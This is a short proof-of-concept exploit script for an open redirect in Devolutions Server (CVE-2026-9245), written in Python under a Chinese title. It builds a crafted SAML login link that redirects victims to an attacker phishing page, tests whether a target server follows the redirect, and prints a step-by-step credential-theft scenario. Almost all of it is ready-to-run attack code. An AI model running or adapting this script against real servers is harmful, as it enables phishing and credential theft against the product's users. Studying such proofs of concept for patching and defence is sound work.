CVE-2026-9245 Devolutions Server开放重定向漏洞

# CVE-2026-9245 PoC - Open Redirect in Devolutions Server # Description: Attacker crafts malicious login link to redirect victim to attacker-controlled domain import requests import urllib.parse from datetime import datetime def generate_malicious_link(target_server, attacker_domain): """ Generate malicious login link with open redirect payload """ # Normal Devolutions Server login endpoint base_url = f"https://{target_server}" # Malicious redirect parameter pointing to attacker's domain redirect_param = urllib.parse.quote(f"https://{attacker_domain}/phishing-page") # Construct the malicious URL malicious_url = f"{base_url}/auth/external?provider=saml&redirect_uri={redirect_param}" return malicious_url def check_vulnerability(target_server, attacker_domain): """ Check if the target is vulnerable to open redirect """ malicious_url = generate_malicious_link(target_server, attacker_domain) print(f"[*] Target: {target_server}") print(f"[*] Attacker Domain: {attacker_domain}") print(f"[*] Malicious URL: {malicious_url}") try: response = requests.get(malicious_url, allow_redirects=False, timeout=10) # Check for redirect to attacker domain if 'location' in response.headers: location = response.headers['location'] print(f"[+] Response Location Header: {location}") if attacker_domain in location: print("[!] VULNERABLE: Server redirects to attacker-controlled domain") return True # Also check actual redirects final_url = response.url if attacker_domain in final_url: print("[!] VULNERABLE: Final URL redirected to attacker domain") return True print("[-] Not vulnerable or no redirect detected") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": # Configuration TARGET_SERVER = "victim-server.devolutions.local" ATTACKER_DOMAIN = "evil-attacker.com" print("=" * 60) print("CVE-2026-9245 PoC - Devolutions Server Open Redirect") print(f"Timestamp: {datetime.now().isoformat()}") print("=" * 60) vulnerable = check_vulnerability(TARGET_SERVER, ATTACKER_DOMAIN) if vulnerable: print("\n[!] Attack Scenario:") print("1. Attacker sends phishing email with malicious link") print("2. Victim clicks link, sees legitimate Devolutions Server URL") print("3. After 'login', victim redirects to attacker's phishing page") print("4. Victim enters credentials on fake page") print("5. Attacker steals credentials")